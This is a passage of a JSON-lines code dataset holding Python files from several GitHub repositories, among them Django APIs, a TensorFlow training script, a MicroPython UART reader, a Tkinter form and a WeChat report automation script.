ideal_sorted[i][0]\n try:\n rel_level = rel_jud[doc_id]\n except:\n rel_level = 0\n idcg += (math.pow(2, rel_level) - 1) / (np.log2(i+2))\n if idcg == 0:\n idcg = 1\n\n return dcg/idcg\n","repo_name":"sahitilucky/Query-adaptive-ontology-guided-information-retrieval-for-biomedical-search","sub_path":"Code/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70307683986","text":"\"\"\"\nsi on ne peut faire qu'une lecture en binaire sur l'UART, il faudra :\n1/ fd = open(......, 'rb')\n2/ encoding = 'utf-8'\n3/ val = val.decode(encoding)\n\"\"\"\n\ndef getData(uart):\n frameBytes = []\n val = ''\n\n if uart.any() > 0:\n val = uart.read(1)\n while(val != b'\\x02'):\n if uart.any() > 0:\n val = uart.read(1)\n # sleep_ms(5)\n\n while(val != b'\\x03'):\n frameBytes.append(val)\n if uart.any() > 0:\n val = uart.read(1)\n # sleep_ms(5)\n\n return(frameBytes)\n\n\"\"\"\ndef getData(uart):\n frameBytes = []\n val = b''\n\n val = uart.read(1)\n while(ord(val) != 2):\n val = uart.read(1)\n\n while(ord(val) != 3):\n frameBytes.append(val)\n val = uart.read(1)\n\n return(frameBytes)\n\"\"\"\n\ndef frameToDict(frameBytes):\n frameSTR = \"\"\n for c in frameBytes:\n frameSTR += c.decode('ascii')\n frame = frameSTR.split('\\n')\n labels = {}\n for data in frame:\n d = data.split('\\t')\n if len(d) > 1:\n labels[d[0]] = d[1]\n return(labels)\n\n","repo_name":"erichardy/teleinfoEDF","sub_path":"Misc/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6109144490","text":"import yaml\nimport io\nfrom os.path import abspath\n\ndef read_entries():\n with io.open(abspath('model.yml')) as file:\n data = yaml.load(file)\n for family_key in data:\n family = data[family_key]\n if type(family) is dict and 'type' in family:\n for genus_key in family:\n print('\\t', genus_key)\n genus = family[genus_key]\n if type(genus) is dict:\n for species_key in genus:\n species = genus[species_key]\n if type(species) is dict and 'type' in species:\n print('\\t\\t',species_key)\n else:\n print(species_key, 'species is not a dict')\n return\n else:\n print(genus_key, 'genus is not a dict')\n return\n else:\n print(family_key, 'family is not a dict')\n return\n\nread_entries()","repo_name":"nanotyrannus/treenote","sub_path":"FileIO.py","file_name":"FileIO.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11982996215","text":"from datetime import datetime\nfrom functools import wraps\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.pagination import PageNumberPagination\nfrom api.models.post import Post\nfrom api.models.administrator import Administrator\nfrom api.serializers.post import PostSerializer\nfrom api.serializers.post import AllPostsSerializer\nfrom django.db.models import Case, When, Value\nfrom django.db.models import IntegerField\nfrom django.utils import timezone\n\n\ndef admin_access_required(view_func):\n @wraps(view_func)\n def _wrapped_view(request, *args, **kwargs):\n user = request.user\n\n if getattr(user, \"role\", None) in [\n \"super-admin\",\n \"admin\",\n \"content-admin\",\n ]:\n return view_func(request, *args, **kwargs)\n else:\n return Response({\"message\": \"Administrator is not authorized\"}, status=403)\n\n return _wrapped_view\n\n\n@api_view([\"GET\"])\ndef get_post(request, post_id):\n \"\"\"\n Retrieve details of a post by their post ID.\n\n Parameters:\n - post_id: The ID of the post to retrieve.\n\n Returns:\n - If the post exists, returns the serialized post data.\n - If the post does not exist, returns an error response.\n \"\"\"\n try:\n post = Post.objects.get(pk=post_id)\n\n if getattr(request.user, \"user_type\", None) != \"administrator\":\n # Update view count\n post.views += 1\n post.save() # Save the updated view count\n\n serializer = PostSerializer(post)\n return Response(serializer.data)\n except Post.DoesNotExist:\n return Response({\"error\": \"Post not found.\"}, status=status.HTTP_404_NOT_FOUND)\n\n\n@api_view([\"POST\"])\n@admin_access_required\ndef create_post(request):\n \"\"\"\n Create a new post.\n\n Parameters:\n - request: The HTTP request object.\n\n Returns:\n - If the post is created successfully, returns the generated token.\n - If the post data is invalid, returns an error response.\n\n HTTP Methods: POST\n \"\"\"\n serializer = PostSerializer(data=request.data)\n if serializer.is_valid():\n serializer.validated_data[\"created_by\"] = request.user\n\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"POST\"])\n@admin_access_required\ndef update_post(request, post_id):\n \"\"\"\n Update an existing post by their post ID.\n\n Parameters:\n - request: The HTTP request object.\n - post_id: The ID of the post to update.\n\n Returns:\n - If the post exists and the data is valid, returns the updated post data.\n - If the post does not exist or the data is invalid, returns an error response.\n\n HTTP Methods: PATCH\n \"\"\"\n try:\n post = Post.objects.get(pk=post_id)\n except Post.DoesNotExist:\n return Response({\"error\": \"Post not found.\"}, status=status.HTTP_404_NOT_FOUND)\n\n serializer = PostSerializer(post, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"POST\"])\n@admin_access_required\ndef delete_post(request, post_id):\n \"\"\"\n Delete an existing post by their post ID.\n\n Parameters:\n - request: The HTTP request object.\n - post_id: The ID of the post to delete.\n\n Returns:\n - If the post exists, deletes the post and returns a success response.\n - If the post does not exist, returns an error response.\n\n HTTP Methods: DELETE\n \"\"\"\n try:\n post = Post.objects.get(pk=post_id)\n except Post.DoesNotExist:\n return Response({\"error\": \"Post not found.\"}, status=status.HTTP_404_NOT_FOUND)\n\n post.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n@api_view([\"POST\"])\ndef search_posts(request):\n \"\"\"\n Search view that searches for posts based on specified criteria.\n\n Request Method: POST\n\n Request Body Parameters:\n - keyword (string): The keyword to search for in post titles.\n - category (string): The category of posts to search in.\n - project_status (string): (Optional) The status of project posts to filter by.\n - technology (string): (Optional) The member technology to filter by.\n - page (integer): The page number for pagination.\n - limit (integer): The maximum number of results per page.\n\n Returns:\n - Response with paginated list of matching post objects.\n\n Algorithm:\n 1. Extract the keyword, category, project_status, page, and limit from the request data.\n 2. Create a search query based on the provided criteria.\n 3. Perform a database query to retrieve posts matching the query.\n 4. Apply pagination to the query results based on the page and limit.\n 5. Serialize the paginated posts data.\n 6. Return the paginated posts as a JSON response.\n\n Note:\n - The search query filters posts based on the keyword, category, and project status (if provided).\n - Posts are ordered by 'published' if the category is 'events', otherwise by 'event_date'.\n - The pagination is implemented using the 'page' and 'limit' parameters.\n - The response includes the paginated list of post objects.\n \"\"\"\n query = get_posts_query(request.data)\n\n category = request.data.get(\"category\")\n if category in [\"events\"]:\n data = Post.objects.filter(**query).annotate(\n past_due=Case(\n When(event_date__lt=timezone.now(), then=Value(1)),\n default=Value(0),\n output_field=IntegerField(),\n )).order_by('past_due', '-event_date')\n else:\n data = Post.objects.filter(**query).order_by(\"-published\")\n\n for item in data:\n author = Administrator.objects.get(pk=item.created_by_id)\n item.author = f\"{author.first_name} {author.last_name}\"\n\n paginator = PageNumberPagination()\n paginator.page_size = request.data[\"limit\"]\n paginated_posts = paginator.paginate_queryset(data, request)\n post_serializer = AllPostsSerializer(paginated_posts, many=True)\n\n return paginator.get_paginated_response(post_serializer.data)\n\n\ndef get_posts_query(data):\n query = {}\n\n if data[\"keyword\"]:\n query[\"title__contains\"] = data[\"keyword\"]\n\n if data[\"category\"]:\n query[\"category\"] = data[\"category\"]\n\n if data[\"category\"] == \"projects\" and data[\"project_status\"]:\n query[\"project_status\"] = data[\"project_status\"]\n\n if data[\"access\"]:\n query[\"access\"] = data[\"access\"]\n if data[\"access\"] == \"public\":\n query[\"published__lt\"] = datetime.today()\n\n if data[\"status\"]:\n query[\"status\"] = data[\"status\"]\n\n return query\n","repo_name":"evanswanjau/ccak-api","sub_path":"api/views/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74049340624","text":"\n# import\nimport tensorflow as tf\n\n# define callback\nclass myCallback(tf.keras.callbacks.Callback):\n def on_epoch_end(self, epoch, logs=None):\n if (logs.get('accuracy') > 0.95):\n print('\\nReached 95% accuracy so cancelling training!')\n self.model.stop_training = True\n\n# reference callbacks\ncallbacks = myCallback()\n\n# load dataset\nmnist = tf.keras.datasets.fashion_mnist\n\n# load training and test datasets\n(training_images, training_labels), (test_images, test_labels) = mnist.load_data()\n\n# normalization\ntraining_images = training_images / 255.0\ntest_image = test_images / 255.0\n\n# define a model\nmodel = tf.keras.models.Sequential([tf.keras.layers.Flatten(input_shape=(28, 28)),\n tf.keras.layers.Dense(1024, activation=tf.nn.relu),\n tf.keras.layers.Dense(512, activation=tf.nn.relu),\n tf.keras.layers.Dense(256, activation=tf.nn.relu),\n tf.keras.layers.Dense(128, activation=tf.nn.relu),\n tf.keras.layers.Dense(10, activation=tf.nn.softmax)])\n\n# compile a model\nmodel.compile(optimizer=tf.optimizers.Adam(),\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n# fit a model\nmodel.fit(training_images, training_labels, epochs=50, callbacks=[callbacks])\n\n# evaluate a model\nresults = model.evaluate(test_images, test_labels)\nprint('results: ' + str(results))\n\n# predict\nclassifications = model.predict(test_images)\n\nprint(classifications[1])\nprint(test_labels[1])\n\nprint(classifications[100])\nprint(test_labels[100])\n\nprint(classifications[50])\nprint(test_labels[50])\n\nprint(classifications[200])\nprint(test_labels[200])\n\n","repo_name":"finesketch/deep_learning","sub_path":"Coursera - DeepLearning.AI TensorFlow Developer/1. Introduction to TensorFlow/Course1-Part4-Lesson4.py","file_name":"Course1-Part4-Lesson4.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74316193106","text":"#!/usr/bin/python3\n\"\"\"This Module contains a function matrix_divided.\nIt decides a given matrix by a given devisor\nNote matrix must be a list of list of integers/floats\n\n\"\"\"\n\n\ndef matrix_divided(matrix, div):\n \"\"\"matrix_devided: Devides the items of a list of\n list of ints/floats by a devissor div.\n\n Args:\n matrix (list): list of lists of ints/floats\n div (int/float): The devissor\n\n Returns:\n A new matrix\n\n \"\"\"\n\n if type(matrix) != list:\n raise TypeError(\"\"\"matrix must be a matrix (list o\n lists) of integers/floats\"\"\")\n for it in matrix:\n if type(it) != list:\n raise TypeError(\"\"\"matrix must be a matrix\n list of lists) of integers/floats\"\"\")\n for i in it:\n if type(i) not in [int, float]:\n raise TypeError(\"\"\"matrix must be a matrix(\n iist of lists) of\n integers/floats\"\"\")\n list_len = len(matrix[0])\n for item in matrix:\n if len(item) != list_len:\n raise TypeError(\"\"\"Each row of the matrix must\n have the same size\"\"\")\n if type(div) not in [int, float]:\n raise TypeError(\"div must be a number\")\n if div == 0:\n raise ZeroDivisionError(\"division by zero\")\n new_matrix = [[round((i/div), 2) for i in it] for it in matrix]\n return(new_matrix)\n","repo_name":"Goldeno10/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74655185104","text":"import argparse\nimport threading\nimport time\nimport json\n\nfrom env.env_client import EnvClient\nfrom env.env_cmd import EnvCmd\nfrom env.env_runner import EnvRunner\n\nfrom agent.red_rule_agent import RedRuleAgent\nfrom agent.blue_rule_agent_bak import BlueRuleAgent\n\n\ndef connect_loop(rpyc_port):\n \"\"\"根据映射出来的宿主机端口号rpyc_port,与容器内的仿真平台建立rpyc连接\"\"\"\n while True:\n try:\n env_client = EnvClient('127.0.0.1', rpyc_port)\n observation = env_client.get_observation()\n if len(observation['red']['units']) != 0:\n return env_client\n\n except Exception as e:\n print(e)\n print(\"rpyc connect failed\")\n\n time.sleep(3)\n\n\ndef print_info(units):\n units_num = 0\n for unit in units:\n if unit['LX'] != 41:\n units_num += 1\n # print('id: {:3d}, tmid: {:4d}, speed: {:3.0f}, x: {:6.0f}, y: {:6.0f}, z: {:5.0f}, '\n # 'type: {:3d}, state: {:3d}, alive: {:2d}, hang: {:3.0f}'.format\n # (unit['ID'], unit['TMID'], unit['SP'], unit['X'], unit['Y'], unit['Z'],\n # unit['LX'], unit['ST'], unit['WH'], unit['Hang']))\n # print(\"units number: {:3d}\".format(units_num))\n return units_num\n\n\nclass WarRunner(EnvRunner):\n def __init__(self, env_id, server_port, agents, config):\n EnvRunner.__init__(self, env_id, server_port, agents, config) # 仿真环境初始化\n\n def _run_env(self):\n time.sleep(1)\n\n def run(self, num_episodes, speed):\n \"\"\"对战调度程序\"\"\"\n # 启动仿真环境, 与服务端建立rpyc连接\n self._start_env()\n self.env_client = connect_loop(self.env_manager.get_server_port())\n\n self.env_client.take_action([EnvCmd.make_simulation(\"SPEED\", \"\", speed)])\n\n f = open(\"run.log\", \"w\")\n battle_results = [0, 0, 0] # [红方获胜局数, 平局数量, 蓝方获胜局数]\n total_units_num = 0\n init_flag = 0\n for i in range(num_episodes):\n num_frames = 0\n self._reset()\n self._run_env()\n\n last_red_num = 0\n last_blue_num = 0\n\n blue_units_dic = {}\n red_units_dic = {}\n\n last_blue_units = {}\n last_red_units = {}\n\n while True:\n try:\n num_frames += 1\n observation = self._get_observation() # 获取态势\n # print(i+1, observation['sim_time'])\n # # print(observation)\n # print(\"Red Units:\")\n red_units_num = print_info(observation['red']['units'])\n print(\"Red Units Number: {}\".format(red_units_num))\n f.write(\"Red Units Number: {}\".format(red_units_num))\n try:\n for unit in observation['red']['units'] :\n red_units_dic[unit['ID']] = [unit['X'], unit['Y'], unit['Z']]\n except Exception as e:\n print(e)\n\n blue_units_num = print_info(observation['blue']['units'])\n print(\"Blue Units Number: {}\".format(blue_units_num))\n f.write(\"Blue Units Number: {}\\n\".format(blue_units_num))\n try:\n for unit in observation['blue']['units'] :\n blue_units_dic[unit['ID']] = [unit['X'], unit['Y'], unit['Z']]\n except Exception as e:\n print(e)\n\n # if red_units_num + blue_units_num != total_units_num:\n # # 环境重置\n # self.env_manager.reset()\n # self.env_client = connect_loop(self.env_manager.get_server_port())\n # self.env_client.take_action([EnvCmd.make_simulation(\"SPEED\", \"\", speed)])\n # break\n\n done = self._get_done(observation) # 推演结束(分出胜负或达到最大时长)\n # if len(observation['red']['rockets']) > 0:\n # 写入所得的json会在同一行里, 打开文件后按Ctrl+Alt+L可自动转换成字典格式\n # f.write(json.dumps(observation, ensure_ascii=False))\n\n if last_blue_num > blue_units_num or last_red_num > red_units_num: # 对战结束后环境重置\n # 统计胜负结果\n if last_blue_num > blue_units_num:\n # for unit in list(last_blue_units.keys()):\n # if unit not in list(blue_units_dic.keys()):\n # print('the blue eliminated unit X:{:6.0f},Y:{:6.0f},Z:{:6.0f}'.format(unit[0], unit[1], unit[2]))\n print(\"蓝方被击中,游戏重置\")\n time.sleep(1)\n # 环境重置\n self.env_manager.reset()\n self.env_client = connect_loop(self.env_manager.get_server_port())\n self.env_client.take_action([EnvCmd.make_simulation(\"SPEED\", \"\", speed)])\n if last_red_num < red_units_num:\n # for unit in list(last_red_units.keys()):\n # if unit not in list(red_units_dic.keys()):\n # print('the red eliminated unit X:{:6.0f},Y:{:6.0f},Z:{:6.0f}'.format(unit[0], unit[1], unit[2]))\n print(\"红方被击中,游戏重置\")\n time.sleep(1)\n # 环境重置\n self.env_manager.reset()\n self.env_client = connect_loop(self.env_manager.get_server_port())\n self.env_client.take_action([EnvCmd.make_simulation(\"SPEED\", \"\", speed)])\n if done[1] == 0 or done[2] == 0:\n battle_results[1] += 1\n if done[1] == 1:\n battle_results[0] += 1\n if done[2] == 1:\n battle_results[2] += 1\n break\n\n self._run_agents(observation) # 发送指令\n last_red_num = red_units_num\n last_blue_num = blue_units_num\n\n for unit in observation['red']['units'] :\n last_red_units[unit['ID']] = [unit['X'], unit['Y'], unit['Z']]\n for unit in observation['blue']['units'] :\n last_blue_units[unit['ID']] = [unit['X'], unit['Y'], unit['Z']]\n\n self._run_env()\n except Exception as e:\n print(e)\n print(\"容器运行出现异常需要重启\")\n self._start_env()\n self.env_client = connect_loop(self.env_manager.get_server_port())\n self.env_client.take_action([EnvCmd.make_simulation(\"SPEED\", \"\", speed)])\n break\n # 关闭文件\n f.close()\n return battle_results\n\n\nconfig = {\n 'server_port': 6100,\n 'config': {\n 'scene_name': '/home/Joint_Operation_scenario.ntedt', # 容器里面想定文件绝对路径\n 'prefix': './', # 容器管理的脚本manage_client所在路径(这里给的相对路径)\n 'image_name': 'combatmodserver:v1.2', # 镜像名\n 'volume_list': [],\n 'max_game_len': 500 # 最大决策次数\n },\n 'agents': {\n 'red_name': { # 战队名\n 'class': RedRuleAgent, # 智能体类名\n 'side': 'red' # 智能体所属军别(不可更改!)\n },\n 'blue_name': { # 战队名\n 'class': BlueRuleAgent, # 智能体类名\n 'side': 'blue' # 智能体所属军别(不可更改!)\n }\n }\n}\n\n\ndef main(env_id, num_episodes, speed):\n \"\"\"根据环境编号env_id、对战轮数num_episodes和配置config, 构建并运行仿真环境\"\"\"\n dg_runner = WarRunner(env_id, **config)\n results = dg_runner.run(num_episodes, speed)\n print('battle results: {}'.format(results))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', '--env_id', type=int, required=False, default=1, help='id of environment')\n parser.add_argument('-s', '--speed', type=int, required=False, default=0, help='simulation speed')\n parser.add_argument('-e', '--num_episode', type=int, required=False, default=100, help='num episodes per env')\n\n args = vars(parser.parse_args())\n\n env_id = args['env_id']\n speed = args['speed']\n num_episodes = args['num_episode']\n\n main(env_id, num_episodes, speed)\n","repo_name":"tianciGit/battlefied","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14478953066","text":"import tkinter\nfrom tkinter import ttk\nfrom conexao import Conexao\n\nfrom controller.reegistrarGasto import RegistrarGasto\n\n\nclass JanelaEdicaoGasto:\n def __init__(self,usuario, master, item_id, valor_gasto, descricao_gasto, categoria_gasto, data_gasto, callback):\n self._master = master\n self._id_usuario = usuario\n self._item_id = item_id\n self._valor_gasto = valor_gasto\n self._descricao_gasto = descricao_gasto\n self._categoria_gasto = categoria_gasto\n self._data_gasto = data_gasto\n self._callback = callback\n\n self._janela_edicao = tkinter.Toplevel(master)\n self._janela_edicao.title('Editar Gasto')\n self._janela_edicao.geometry('400x300')\n\n # Campo de edição para o valor do gasto\n label_valor = ttk.Label(self._janela_edicao, text='Valor do Gasto:')\n label_valor.pack()\n\n self._entry_valor = ttk.Entry(self._janela_edicao)\n self._entry_valor.insert(0, self._valor_gasto) # Preencha o valor atual\n self._entry_valor.pack()\n\n # Campo de edição para a descrição do gasto\n label_descricao = ttk.Label(self._janela_edicao, text='Descrição do Gasto:')\n label_descricao.pack()\n\n self._entry_descricao = ttk.Entry(self._janela_edicao)\n self._entry_descricao.insert(0, self._descricao_gasto) # Preencha a descrição atual\n self._entry_descricao.pack()\n\n # Campo de edição para a categoria do gasto\n label_categoria = ttk.Label(self._janela_edicao, text='Categoria do Gasto:')\n label_categoria.pack()\n\n # self._entry_categoria = ttk.Entry(self._janela_edicao)\n # self._entry_categoria.insert(0, self._categoria_gasto) # Preencha a categoria atual\n # self._entry_categoria.pack()\n \n ttk.Label(self._janela_edicao, text=\"Categoria:\").pack()\n self._combo_categoria = ttk.Combobox(self._janela_edicao, values= self.categorias())\n self._combo_categoria.pack()\n self._combo_categoria.set(self._categoria_gasto)\n\n # Campo de edição para a data do gasto\n label_data = ttk.Label(self._janela_edicao, text='Data do Gasto:')\n label_data.pack()\n\n self._entry_data = ttk.Entry(self._janela_edicao)\n self._entry_data.insert(0, self._data_gasto) # Preencha a data atual\n self._entry_data.pack()\n\n # Botão para salvar as alterações\n btn_salvar = ttk.Button(self._janela_edicao, text='Salvar', bootstyle=\"success-outline\", command=self.salvar_edicao)\n btn_salvar.pack()\n def categorias(self):\n categorias = Conexao.retornar_todos('SELECT nome FROM categoria;')\n return categorias\n\n def salvar_edicao(self):\n # Obtenha os novos valores dos campos de edição\n novo_valor = self._entry_valor.get()\n nova_descricao = self._entry_descricao.get()\n nova_categoria = self._combo_categoria.get()\n nova_data = self._entry_data.get()\n print(self._id_usuario)\n \n gasto = RegistrarGasto.atualizar(self._id_usuario,novo_valor,nova_descricao,nova_categoria,nova_data)\n\n # Chame a função de retorno (callback) passando os novos valores\n self._callback(self._item_id, novo_valor, nova_descricao, nova_categoria, nova_data)\n\n # Feche a janela de edição\n self._janela_edicao.destroy()\n","repo_name":"sthefanySF/gestao-financeira","sub_path":"view/editarGasto.py","file_name":"editarGasto.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72611764627","text":"import random\r\nimport math\r\nimport copy\r\nimport numpy as np\r\nfrom keras.layers import Dense, Dropout, LeakyReLU, Activation, BatchNormalization\r\nfrom Hyperparameters import parameters\r\n\r\n# Constant seed number \r\nrandom.seed(parameters['seedNumber'])\r\n\r\nclass FullyConnectedLayer:\r\n \r\n # Parameter Dictionary\r\n activationParameters = parameters['learningProcess']\r\n _parameters = parameters['fullyConnected']\r\n \r\n # Hyper-Parameters\r\n unitCount = None\r\n dropoutRate = None\r\n activation = None\r\n\r\n def applyLocalMove(self, input, initParams):\r\n newParams = copy.deepcopy(initParams)\r\n rndParameterName = random.choice(list(self._parameters.keys()))\r\n tempParams = np.array(self._parameters[rndParameterName])\r\n oldParamValue = initParams[rndParameterName]\r\n \r\n # Select Hyper-parameter value round up or down\r\n valueRound = random.choice(['up', 'down'])\r\n \r\n # Select new hyper-parameter value for selected hyper-parameter name\r\n if valueRound == 'up':\r\n newParams[rndParameterName] = tempParams[np.where(tempParams > oldParamValue)][0] if len(tempParams[np.where(tempParams > oldParamValue)]) != 0 else tempParams[np.where(tempParams < oldParamValue)][-1]\r\n else:\r\n newParams[rndParameterName] = tempParams[np.where(tempParams < oldParamValue)][-1] if len(tempParams[np.where(tempParams < oldParamValue)]) != 0 else tempParams[np.where(tempParams > oldParamValue)][0]\r\n\r\n self.unitCount = newParams[\"unitCount\"]\r\n self.dropoutRate = newParams[\"dropoutRate\"]\r\n self.activation = newParams['activation']\r\n\r\n parameters = {\"unitCount\": self.unitCount, \"dropoutRate\": self.dropoutRate, \"activation\": self.activation}\r\n \r\n return parameters\r\n\r\n def addManuelFullyConnectedLayer(self, unitCount, dropoutRate, activation, _input):\r\n \r\n # Add Hidden Layer\r\n _input = Dense(units=unitCount)(_input)\r\n\r\n # Add Activation Function\r\n if activation == 'leaky_relu':\r\n _input = LeakyReLU()(_input)\r\n else:\r\n _input = Activation(activation)(_input)\r\n\r\n # Add Batch Norm.\r\n _input = BatchNormalization()(_input)\r\n\r\n # Add Dropout\r\n output = Dropout(rate=dropoutRate)(_input)\r\n\r\n return output\r\n\r\n def expandFullyBlock(self, selectedActFunct, _input):\r\n unitCount = random.choice(self._parameters['unitCount'])\r\n dropoutRate = random.choice(self._parameters['dropoutRate'])\r\n activation = selectedActFunct\r\n\r\n blockParams = {\"Fully\":{'unitCount':unitCount, 'dropoutRate':dropoutRate, 'activation':activation}}\r\n output = self.addManuelFullyConnectedLayer(_input = _input, **blockParams['Fully'])\r\n\r\n return blockParams, output\r\n\r\n def calculateNumberOfParameter(self, inputUnitCount, outputUnitCount):\r\n return (inputUnitCount + 1) * outputUnitCount ","repo_name":"zekikus/MOSA-cnn-hyperparams-optimization","sub_path":"SACNN/SA/FullyConnectedLayer.py","file_name":"FullyConnectedLayer.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"37545998959","text":"import pandas as pd\nimport line_bar\nimport make_excel\nimport send_text_image\nimport windows_opr\nimport time\n\n\ndef send_text(name,l):\n windows_opr.FindWindow(name)\n send_text_image.setText(l)\n windows_opr.send()\n windows_opr.CloseWindow(name)\n\n\ndef send_excelhour_pic(name, excel_file_dir, excel_filerank_dir,name_table, excel_rank_insert):\n windows_opr.FindWindow(name)\n make_excel.excel_c(excel_file_dir, excel_filerank_dir)\n make_excel.table_font(excel_filerank_dir, name_table, excel_rank_insert)\n send_text_image.excel_catch_screen(excel_rank_insert)\n windows_opr.send()\n windows_opr.CloseWindow(name)\n\n\ndef send_line_pic(name,excel_file_dir,image_file):\n windows_opr.FindWindow(name)\n df = pd.read_excel(excel_file_dir)\n line_bar.line_bar(df['时间'],df['瑞山西路'], df['书院路'], df['限值'],'考核点PM2.5浓度折线图', '时间', '浓度 μg/m3',image_file,\"PM25\")\n for i in send_text_image.get_file(image_file):\n send_text_image.paste_img(image_file + \"\\\\\" + i)\n windows_opr.send()\n time.sleep(1)\n windows_opr.CloseWindow(name)\n send_text_image.del_files(image_file)\n\n\ndef hoursend():\n # 发送文本\n name = '王彦军'\n l = \"【实时空气质量播报】\\n{}截止{}\\n合川区\" \\\n \"累计AQI为{},{}。\\n书院路站点PM2.5累计\" \\\n \"浓度为{}µg/m³,累计AQI为{},{}。\\n瑞山西\" \\\n \"路站点PM2.5累计浓度为{}µg/m³,累\" \\\n \"计AQI为{},{}。\\n具体各污染物浓度见下表:\".format('2020年10月26日','23时','114','三级轻度污染','84','112',\n '三级轻度污染','89','118','三级轻度污染')\n send_text(name, l)\n\n\n # 发送excel表格1\n excel_file_dir = r'excelfiles\\合川区推送数据.xlsx'\n excel_filerank_dir = r'excelfiles\\合川区推送数据排名充填.xlsx'\n # 必须要绝对路径\n excel_rank_insert = r'D:\\Program Files\\pycharm\\微信自动发送数据\\合川\\excelfiles\\合川区推送数据排名充填插入.xlsx'\n name_table = '2020年10月26日截止23时空气质量累计情况'\n send_excelhour_pic(name, excel_file_dir, excel_filerank_dir,name_table, excel_rank_insert)\n\n # 发送折线图\n excel_file_dir = r'excelfiles\\合川折线图详细数据.xlsx'\n image_file = r'image_file'\n send_line_pic(name, excel_file_dir, image_file)\n\n\n\n","repo_name":"cycle13/demo","sub_path":"微信自动发送数据/合川/hechuansend.py","file_name":"hechuansend.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12581211864","text":"# -*- coding: utf-8 -*-\nimport os\nimport json\nimport pytz\nfrom dateutil import rrule\nfrom datetime import time, datetime, timedelta\nfrom collections import OrderedDict\n\nfrom django.views.generic import View, ListView, DetailView\nfrom django.http import HttpResponse, Http404\nfrom django.db.models import Q\nfrom django.db.models.expressions import RawSQL\nfrom django.db.models.functions import TruncHour, TruncDay, TruncMonth\nfrom django.db.models import DateTimeField\n\nfrom .models import Syscheck\nfrom .tasks import (\n get_syschk_differences, get_syschk_download, get_syschk_content)\nfrom ..settings.tasks import get_syschk_cfg_params\nfrom ..agents.models import Agent\n\n\nclass SyscheckListView(ListView):\n model = Syscheck\n template_name = 'syschecks/syscheck_list.html'\n context_object_name = 'syschecks'\n\n def get_context_data(self, **kwargs):\n context = super(SyscheckListView, self).get_context_data(**kwargs)\n first_syschk = Syscheck.objects.values('mtime').\\\n order_by('mtime').first()\n last_syschk = Syscheck.objects.values('mtime').order_by('mtime').last()\n tz = pytz.timezone('Asia/Ho_Chi_Minh')\n start_date = datetime.fromtimestamp(first_syschk['mtime'], tz)\n start_date = datetime.combine(start_date.date(), time())\n end_date = datetime.fromtimestamp(last_syschk['mtime'], tz)\n end_date = datetime.combine(end_date.date(), time()) + \\\n timedelta(days=1) - timedelta(seconds=1)\n context['start_date'] = start_date.strftime('%d/%m/%Y %I:%M:%S %p')\n context['end_date'] = end_date.strftime('%d/%m/%Y %I:%M:%S %p')\n return context\n\n def get_queryset(self):\n return Syscheck.objects.select_related().all().order_by('-mtime')\n\n\nclass SyscheckDetailView(DetailView):\n model = Syscheck\n template_name = 'syschecks/syscheck_detail.html'\n context_object_name = 'syscheck'\n pk_url_kwarg = 'syscheck_id'\n\n def get_context_data(self, **kwargs):\n context = super(SyscheckDetailView, self).get_context_data(**kwargs)\n syscheck = Syscheck.objects.get(id=self.kwargs.get(\"syscheck_id\"))\n context['syscheck'] = syscheck\n if syscheck.ftype == 'text/plain':\n context['curr_content'] = get_syschk_content.delay(\n syscheck.state_fpath).get(timeout=3)\n context['previous_diffs'] = get_syschk_differences.\\\n delay(syscheck).get(timeout=3)\n context['all_diffs'] = get_syschk_differences.\\\n delay(syscheck, False).get(timeout=3)\n return context\n\n\nclass SyscheckSearchView(ListView):\n model = Syscheck\n template_name = 'syschecks/syscheck_search.html'\n context_object_name = 'syschecks'\n\n def get_queryset(self):\n daterange = self.request.GET.get('daterange', False)\n owners = self.request.GET.getlist('owners', [])\n hosts = self.request.GET.getlist('hosts', [])\n ftypes = self.request.GET.getlist('ftypes', [])\n fpatterns = self.request.GET.get('fpatterns', False)\n hosts_query = Q()\n daterange_query = Q()\n ftypes_query = Q()\n\n if daterange:\n start_date, end_date = daterange.split(' - ')\n start_date = datetime.strptime(start_date, '%d/%m/%Y %I:%M %p')\n end_date = datetime.strptime(end_date, '%d/%m/%Y %I:%M %p')\n syschks_daterange_ids = Syscheck.objects.all().\\\n annotate(datetime=RawSQL('FROM_UNIXTIME(mtime)', [],\n output_field=DateTimeField())).\\\n 